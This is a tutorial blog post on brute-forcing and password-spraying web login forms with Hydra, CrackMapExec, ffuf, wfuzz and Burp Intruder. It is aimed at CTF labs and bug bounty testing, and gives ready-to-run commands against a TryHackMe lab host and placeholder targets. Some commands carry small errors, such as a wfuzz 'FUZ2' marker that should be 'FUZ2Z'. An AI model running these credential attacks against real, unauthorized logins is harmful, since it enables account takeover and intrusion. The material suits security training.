Brute Forcing Web Applications

A ToxSec Guide

Web login forms are everywhere, and attackers will always probe authentication. Sometimes it’s a spray, sometimes it’s a targeted brute force. For defenders, it’s about controls; for hunters, it’s about leverage. In this article we’ll weaponize common tools — Hydra, CrackMapExec, ffuf, Burp — to smash web auth, but with the precision you’d use on a live bug bounty target.

---

Authentication as a Target Surface
Every SaaS app has one. /login, /auth, /signin. Sometimes it’s NTLM over HTTP(S), sometimes it’s a JSON POST with username/password. Before you think about brute force, remember: this is the single most noisy attack vector you can run.

• In CTFs: You’ll rarely get rate limits.

• In the wild: You will get banned, flagged, or your IP blocked.
  So the real value is knowing the tooling, knowing how to adapt payloads, and recognizing when to pivot (default creds, logic flaws, weak session tokens) instead of raw brute force.

---

Hydra for Web NTLM Auth
Hydra is the Swiss Army brute forcer. Against NTLM-protected endpoints:

# HTTP NTLM over plaintext
hydra -L usernames.txt -P rockyou.txt ntlmauth.za.tryhackme.com http-ntlm /

# HTTPS NTLM over TLS
hydra -L usernames.txt -P rockyou.txt ntlmauth.za.tryhackme.com https-ntlm /

# CrackMapExec spraying NTLM creds
crackmapexec http ntlmauth.za.tryhackme.com -u usernames.txt -p rockyou.txt --ntlm

The Hydra modules http-ntlm and https-ntlm abstract the challenge/response handshake, so you just focus on creds. CrackMapExec goes broader, handy for quick sprays across multiple users.

---

Form-Based Brute Forcing with ffuf
Where Hydra shines on protocols, ffuf dominates custom web forms. You can POST arbitrary payloads and fuzz both username and password fields.

ffuf -w valid_usernames.txt:W1,/usr/share/wordlists/rockyou.txt:W2 \\
  -X POST \\
  -d "username=W1&password=W2" \\
  -H "Content-Type: application/x-www-form-urlencoded" \\
  -u http://10.10.10.10/login -fc 200

Here:

• -X POST sets the verb.

• -d crafts the POST body with W1/W2 markers.

• -fc 200 filters out responses that always return OK (false positives).

Tweak for JSON payloads by swapping -H and -d:

ffuf -w users.txt:U,rockyou.txt:P \\
  -X POST \\
  -d '{"username":"U","password":"P"}' \\
  -H "Content-Type: application/json" \\
  -u https://target.tld/api/auth -fc 401

---

Burp Suite Intruder: The GUI Hammer
When you want visuals and analysis, Intruder is unmatched. Steps:

1. Capture a login POST in Burp Proxy.

2. Send to Intruder → Positions tab.

3. Mark username and password fields with §.

4. Choose Attack Type:

   • Sniper for one field (single wordlist).

   • Cluster Bomb for two fields (user+pass combos).

5. Load payloads (users.txt, rockyou.txt).

6. Start attack, sort responses by length or status.

Intruder excels when you want to see differences (e.g., 302 redirects, slight body length changes). That’s usually the giveaway for valid creds.

---

Beyond the Basics: wfuzz and curl

• wfuzz has similar flexibility to ffuf but better pattern-based matching:

wfuzz -c -z file,users.txt -z file,rockyou.txt \\
  -d "username=FUZZ&password=FUZ2" \\
  --hs "Invalid username or password" \\
  https://target.tld/login

• curl is your microscope: script single requests to validate hits from fuzzers.

---

Real-World Bug Bounty Context
CTFs let you blast with rockyou.txt. Bug bounty is different:

• Login brute force alone is usually out of scope or duplicate noise.

• Where it is useful:

  • Testing for weak lockout mechanisms (does the app actually enforce rate limits?).

  • Checking for default or undocumented accounts (admin:admin, test:test).

  • Spotting credential stuffing weaknesses (app doesn’t detect multiple IPs hammering logins).

The key is methodology over mayhem. Smart hunters weaponize these techniques in a controlled way to prove missing controls, not to guess real users’ passwords.

---

Summary
Brute forcing web apps is less about raw horsepower and more about subtlety. Tools like Hydra, ffuf, Intruder, and CME give you options for different auth contexts, but the real win is in the analysis: noticing response codes, body length shifts, cookie behavior. In bounties, don’t be the spray-and-pray brute forcer — be the one who shows the company they never implemented lockouts in the first place.

---

Command Recap

# Hydra NTLM brute
hydra -L usernames.txt -P rockyou.txt ntlmauth.za.tryhackme.com http-ntlm /

# CrackMapExec NTLM spray
crackmapexec http ntlmauth.za.tryhackme.com -u usernames.txt -p rockyou.txt --ntlm

# ffuf web POST brute
ffuf -w users.txt:U,rockyou.txt:P -X POST -d "username=U&password=P" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.10.10/login -fc 200

# Burp Intruder — GUI brute with payload sets

---

Final Thoughts
Login forms are the oldest gatekeepers on the web. Misconfigured, they crumble fast. Hardened, they’ll chew through your wordlists without a blink. The job isn’t just breaking in — it’s proving that the locks aren’t real.

---